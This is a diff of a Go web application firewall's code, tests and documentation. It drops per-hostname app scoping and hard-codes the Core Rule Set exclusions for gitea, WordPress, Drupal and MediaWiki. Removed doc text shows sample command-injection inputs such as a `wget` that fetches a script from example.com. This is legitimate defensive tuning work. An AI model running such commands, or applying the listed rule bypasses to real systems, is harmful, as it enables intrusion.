||||||
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
|
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
|
||||||
- `q` on `/rest.php/` and the paths under it.
|
- `q` on `/rest.php/` and the paths under it.
|
||||||
|
|
||||||
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
|
`modules` on `/load.php` skips 930120 alone, because it lists the scripts
|
||||||
styles a page loads.
|
and styles a page loads.
|
||||||
|
|
||||||
These fields of a body skip the rules that refused them:
|
These fields of a body skip the rules that refused them:
|
||||||
|
- On MediaWiki's pages, for the same four rules:
|
||||||
- On MediaWiki's pages, for the same four rules:
|
|
||||||
- `wpSummary`, the summary of an edit;
|
- `wpSummary`, the summary of an edit;
|
||||||
- `wpUploadDescription`, the description of an uploaded file;
|
- `wpUploadDescription`, the description of an uploaded file;
|
||||||
- `wpName` and `wpPassword`, for signing in;
|
- `wpName` and `wpPassword`, for signing in;
|
||||||
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
|
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
|
||||||
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
|
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
|
||||||
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
|
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the
|
||||||
pages:
|
admin pages:
|
||||||
- `wpReason-other`, for blocking a user;
|
- `wpReason-other`, for blocking a user;
|
||||||
- `user-reason`, for changing a user's groups;
|
- `user-reason`, for changing a user's groups;
|
||||||
- `mwProtect-reason`, for protecting a page.
|
- `mwProtect-reason`, for protecting a page.
|
||||||
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
|
- The wikitext of a page, which holds templates, tables and any code it
|
||||||
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
|
shows:
|
||||||
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
|
|
||||||
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
|
|
||||||
command name, such as `Python3 notes`, passes. So does a command alone on a
|
|
||||||
line, such as `wget http://example.com/x.sh`. A command such as
|
|
||||||
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a
|
|
||||||
title holding one of these characters with a title starting with a command
|
|
||||||
name.
|
|
||||||
- The wikitext of a page, which holds templates, tables and any code it shows:
|
|
||||||
- `wpTextbox1` on MediaWiki's pages;
|
- `wpTextbox1` on MediaWiki's pages;
|
||||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||||
- `source` in the JSON body of `/rest.php/`.
|
- `source` in the JSON body of `/rest.php/`.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
|
The names of uploaded files skip 932180 on MediaWiki's pages and on
|
||||||
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
|
`/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded.
|
||||||
file whose extension it does not allow.
|
MediaWiki refuses a file whose extension it does not allow.
|
||||||
|
|
||||||
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
|
`/index.php` itself counts as MediaWiki's only when its query has a `title`,
|
||||||
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
|
as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A
|
||||||
without short URLs serves its pages under `/index.php/`, as in
|
wiki without short URLs serves its pages under `/index.php/`, as in
|
||||||
`/index.php/Main_Page`, and its sign-in and upload forms post there.
|
`/index.php/Main_Page`, and its sign-in and upload forms post there.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
|
Elsewhere these fields keep every rule. The paths are those of MediaWiki at
|
||||||
site root or under `/w/`.
|
the site root or under `/w/`. An app other than MediaWiki that serves one of
|
||||||
|
them must check these fields itself.
|
||||||
|
|
||||||
Each app's fixes switch rules off for some of its fields and cookies. Any other
|
The parameter and cookie names in these changes are matched without regard to
|
||||||
app on a hostname that gets those fixes must check those fields and cookies
|
case, as Coraza matches them.
|
||||||
itself.
|
|
||||||
|
|
||||||
The parameter names in these changes and fixes are matched without regard to
|
|
||||||
case, and the cookie names exactly.
|
|
||||||
|
|
||||||
### Ban lengths, response and scope
|
### Ban lengths, response and scope
|
||||||
|
|
||||||
|
|||||||
@@ -255,24 +255,6 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
|
||||||
fixes of its hostname's apps only (see "Attack detection" in
|
|
||||||
[`SPEC.md`](../SPEC.md)).
|
|
||||||
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
|
||||||
or more apps separated by commas, for example
|
|
||||||
`git.example.com:gitea;blog.example.com:wordpress`.
|
|
||||||
- The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`.
|
|
||||||
- The request's `Host` is matched by exact name, without its port and
|
|
||||||
without regard to case. There are no wildcards.
|
|
||||||
- A hostname not listed gets no app's fixes, so every rule checks it in
|
|
||||||
full. Set empty, `SWW_APPS` lists no hostname.
|
|
||||||
- Unset, every app's fixes apply to every hostname.
|
|
||||||
- Any of these mistakes stops the start:
|
|
||||||
- an unknown app;
|
|
||||||
- a hostname that is not a DNS name, such as `*.example.com`;
|
|
||||||
- a hostname listed twice;
|
|
||||||
- an app listed twice for one hostname;
|
|
||||||
- an entry without a colon.
|
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|||||||
@@ -29,7 +29,6 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -236,11 +235,6 @@ type Config struct {
|
|||||||
WAFExemptPaths []string
|
WAFExemptPaths []string
|
||||||
WAFBodyLimit int64
|
WAFBodyLimit int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
|
|
||||||
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
|
|
||||||
// request gets every app's fixes.
|
|
||||||
Apps map[string][]string
|
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
@@ -410,11 +404,6 @@ var (
|
|||||||
errNotTrapPath = errors.New(
|
errNotTrapPath = errors.New(
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||||
)
|
)
|
||||||
errNotAppsEntry = errors.New(
|
|
||||||
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
|
|
||||||
)
|
|
||||||
errNotHostname = errors.New("is not a DNS name such as git.example.com")
|
|
||||||
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
|
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
errNotWAFMode = errors.New("is not off, detect or block")
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
||||||
errNotRuleID = errors.New(
|
errNotRuleID = errors.New(
|
||||||
@@ -588,7 +577,6 @@ func FromEnvironment(
|
|||||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
Apps: env.apps("SWW_APPS"),
|
|
||||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
||||||
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
|
|||||||
return prefixes
|
return prefixes
|
||||||
}
|
}
|
||||||
|
|
||||||
// apps reads the setting that is the apps each hostname serves. It is nil
|
|
||||||
// while the setting is unset, and logged as null, unlike a setting set
|
|
||||||
// empty.
|
|
||||||
func (e *environment) apps(name string) map[string][]string {
|
|
||||||
value, set := e.lookup(name)
|
|
||||||
if !set {
|
|
||||||
e.settings = append(e.settings, slog.Any(name, nil))
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
e.settings = append(e.settings, slog.String(name, value))
|
|
||||||
|
|
||||||
apps, err := parseApps(value)
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return apps
|
|
||||||
}
|
|
||||||
|
|
||||||
// trapPaths reads the setting that is the list of trap paths. It is empty
|
// trapPaths reads the setting that is the list of trap paths. It is empty
|
||||||
// by default.
|
// by default.
|
||||||
func (e *environment) trapPaths(name string) []string {
|
func (e *environment) trapPaths(name string) []string {
|
||||||
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
|
|||||||
return paths, nil
|
return paths, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseApps reads the apps each hostname serves: entries separated by
|
|
||||||
// semicolons, each a hostname, a colon, and a comma-separated list of the
|
|
||||||
// names coreruleset.AppNames returns, such as
|
|
||||||
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
|
|
||||||
// hostname is a DNS name, without a wildcard. It returns them by hostname
|
|
||||||
// in lowercase, since a hostname is matched without regard to case. An
|
|
||||||
// empty value lists no hostname.
|
|
||||||
func parseApps(value string) (map[string][]string, error) {
|
|
||||||
apps := map[string][]string{}
|
|
||||||
|
|
||||||
if strings.TrimSpace(value) == "" {
|
|
||||||
return apps, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
for entry := range strings.SplitSeq(value, ";") {
|
|
||||||
hostname, list, found := strings.Cut(entry, ":")
|
|
||||||
if !found {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname = strings.ToLower(strings.TrimSpace(hostname))
|
|
||||||
if hostname == "" {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !isZone(hostname) {
|
|
||||||
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, listed := apps[hostname]; listed {
|
|
||||||
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
|
|
||||||
}
|
|
||||||
|
|
||||||
names, err := parseList(list)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(names) == 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, name := range names {
|
|
||||||
if !slices.Contains(coreruleset.AppNames(), name) {
|
|
||||||
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
|
|
||||||
strings.Join(coreruleset.AppNames(), ", "))
|
|
||||||
}
|
|
||||||
|
|
||||||
if slices.Contains(names[:i], name) {
|
|
||||||
return nil, fmt.Errorf("%q %w", name, errListedTwice)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
apps[hostname] = names
|
|
||||||
}
|
|
||||||
|
|
||||||
return apps, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
||||||
// rules, each a whole number above zero and outside firstSetupRuleID to
|
// rules, each a whole number above zero and outside firstSetupRuleID to
|
||||||
// lastSetupRuleID.
|
// lastSetupRuleID.
|
||||||
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
|
|||||||
return masked + "." + rest
|
return masked + "." + rest
|
||||||
}
|
}
|
||||||
|
|
||||||
// isZone reports whether each label of zone is as parseZones takes it. It
|
// isZone reports whether each label of zone is as parseZones takes it.
|
||||||
// also checks the hostnames of SWW_APPS, which are DNS names too.
|
|
||||||
func isZone(zone string) bool {
|
func isZone(zone string) bool {
|
||||||
for label := range strings.SplitSeq(zone, ".") {
|
for label := range strings.SplitSeq(zone, ".") {
|
||||||
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
||||||
|
|||||||
@@ -89,7 +89,6 @@ const (
|
|||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||||
apps = "SWW_APPS"
|
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_TRAP_PATHS"
|
||||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||||
@@ -583,100 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// gitea is gitea's name in SWW_APPS.
|
|
||||||
const gitea = "gitea"
|
|
||||||
|
|
||||||
func TestApps(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
want map[string][]string
|
|
||||||
}{
|
|
||||||
{environment{}, nil},
|
|
||||||
{environment{apps: ""}, map[string][]string{}},
|
|
||||||
{
|
|
||||||
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
|
|
||||||
map[string][]string{
|
|
||||||
"git.example.com": {gitea}, "cloud.example.com": {gitea},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
environment{apps: "cloud.example.com:gitea,wordpress"},
|
|
||||||
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, tc.env)
|
|
||||||
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
|
||||||
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
|
|
||||||
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
want string
|
|
||||||
}{
|
|
||||||
{environment{}, `"` + apps + `":null`},
|
|
||||||
{environment{apps: ""}, `"` + apps + `":""`},
|
|
||||||
} {
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).
|
|
||||||
Info("starting", "settings", fromEnvironment(t, tc.env))
|
|
||||||
|
|
||||||
if !strings.Contains(out.String(), tc.want) {
|
|
||||||
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidAppsStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
notEntry = " is not a hostname, : and a list of apps, " +
|
|
||||||
"such as git.example.com:gitea"
|
|
||||||
notHostname = " is not a DNS name such as git.example.com"
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ value, want string }{
|
|
||||||
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
|
|
||||||
{"git.example.com:gitea;", `""` + notEntry},
|
|
||||||
{":gitea", `":gitea"` + notEntry},
|
|
||||||
{"git.example.com:", `"git.example.com:"` + notEntry},
|
|
||||||
{"*.example.com:gitea", `"*.example.com"` + notHostname},
|
|
||||||
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
|
|
||||||
{"git example.com:gitea", `"git example.com"` + notHostname},
|
|
||||||
{
|
|
||||||
"git.example.com:gitea,nextcloud",
|
|
||||||
`"nextcloud" is not an app sww has fixes for; ` +
|
|
||||||
`the apps are drupal, gitea, mediawiki, wordpress`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"git.example.com:gitea;GIT.example.com:gitea",
|
|
||||||
`"git.example.com" is listed twice`,
|
|
||||||
},
|
|
||||||
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
|
|
||||||
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
|
|
||||||
} {
|
|
||||||
t.Run(tc.value, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := apps + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWAFBodyLimitOf64K(t *testing.T) {
|
func TestWAFBodyLimitOf64K(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2684,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
wafExemptPaths: "",
|
wafExemptPaths: "",
|
||||||
wafBodyLimit: off,
|
wafBodyLimit: off,
|
||||||
exclusionsFile: "",
|
exclusionsFile: "",
|
||||||
apps: "", // logged as null, which decodes as ""
|
|
||||||
trapPaths: "",
|
trapPaths: "",
|
||||||
errorBurstThreshold: "30",
|
errorBurstThreshold: "30",
|
||||||
logRemoteURL: "",
|
logRemoteURL: "",
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
|
||||||
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// in SPEC.md describes them. It reads no response.
|
// response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,8 +16,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"maps"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -34,8 +32,9 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// directives of every app in apps for the third.
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
|
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -83,28 +82,53 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The apps' fixes come before the rules for the same reason.
|
# The eighth change comes before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The fifth: only the rules for requests are loaded, and no response is
|
# The ninth change comes before the rules for the same reason.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the tenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# And the eleventh.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here without regard to case.
|
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||||
# well as the query parameters, so a field of this name is left out too.
|
# body Coraza reads as well as the query parameters, so a field of one of
|
||||||
|
# these names is left out too.
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: Referer is not checked for a Unix command without arguments,
|
# The fourth: the query parameters in which gitea sends names within a
|
||||||
# for Java starting a process, or for a Java class name. 944130 refused
|
# repository or its own records, or a page of its own site, are not
|
||||||
# every page opened from the page of java.lang.String.md.
|
# checked against the lists of system files, shell paths and command
|
||||||
|
# names. Coraza takes one rule id per directive.
|
||||||
|
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
|
||||||
|
# The fifth, for Referer: it is not checked for a Unix command without
|
||||||
|
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||||
|
# refused every page opened from the page of java.lang.String.md. The
|
||||||
|
# cookies are left out in Inspect.
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
# The sixth: a container image push that reuses a layer names the image
|
# The seventh: a container image push that reuses a layer names the image
|
||||||
# it takes the layer from in the query parameter from, which is not
|
# it takes the layer from in the query parameter from, which is not
|
||||||
# checked for command names. 932260 refused the push of a layer from
|
# checked for command names. 932260 refused the push of a layer from
|
||||||
# owner/python3-app.
|
# owner/python3-app.
|
||||||
@@ -154,49 +178,39 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||||
// with the fixes that let them pass.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
type app struct {
|
// directives.
|
||||||
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
|
||||||
// rules. Their first rule skips to the marker they end with, unless
|
|
||||||
// Inspect sets the transaction variable named for the app, such as
|
|
||||||
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
|
||||||
// must check that variable itself.
|
|
||||||
directives string
|
|
||||||
// cookies are the cookies the Core Rule Set reads a request without.
|
|
||||||
cookies []string
|
|
||||||
}
|
|
||||||
|
|
||||||
//go:embed gitea.conf
|
|
||||||
var giteaDirectives string
|
|
||||||
|
|
||||||
//go:embed wordpress.conf
|
|
||||||
var wordpressDirectives string
|
|
||||||
|
|
||||||
//go:embed drupal.conf
|
|
||||||
var drupalDirectives string
|
|
||||||
|
|
||||||
//go:embed mediawiki.conf
|
|
||||||
var mediawikiDirectives string
|
|
||||||
|
|
||||||
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a map
|
//go:embed gitea.conf
|
||||||
var apps = map[string]app{
|
var giteaExclusions string
|
||||||
"drupal": {directives: drupalDirectives},
|
|
||||||
"gitea": {
|
|
||||||
directives: giteaDirectives,
|
|
||||||
cookies: []string{"gitea_flash", "redirect_to"},
|
|
||||||
},
|
|
||||||
"mediawiki": {directives: mediawikiDirectives},
|
|
||||||
"wordpress": {directives: wordpressDirectives},
|
|
||||||
}
|
|
||||||
|
|
||||||
// AppNames returns the names of the apps whose fixes sww has, in
|
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
||||||
// alphabetical order.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
func AppNames() []string {
|
// directives.
|
||||||
return slices.Sorted(maps.Keys(apps))
|
//
|
||||||
}
|
//go:embed wordpress.conf
|
||||||
|
var wordpressExclusions string
|
||||||
|
|
||||||
|
// drupalExclusions are the tenth change: the fields of Drupal's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed drupal.conf
|
||||||
|
var drupalExclusions string
|
||||||
|
|
||||||
|
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
||||||
|
// own requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mediawiki.conf
|
||||||
|
var mediawikiExclusions string
|
||||||
|
|
||||||
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
|
// without, the rest of the fifth change.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
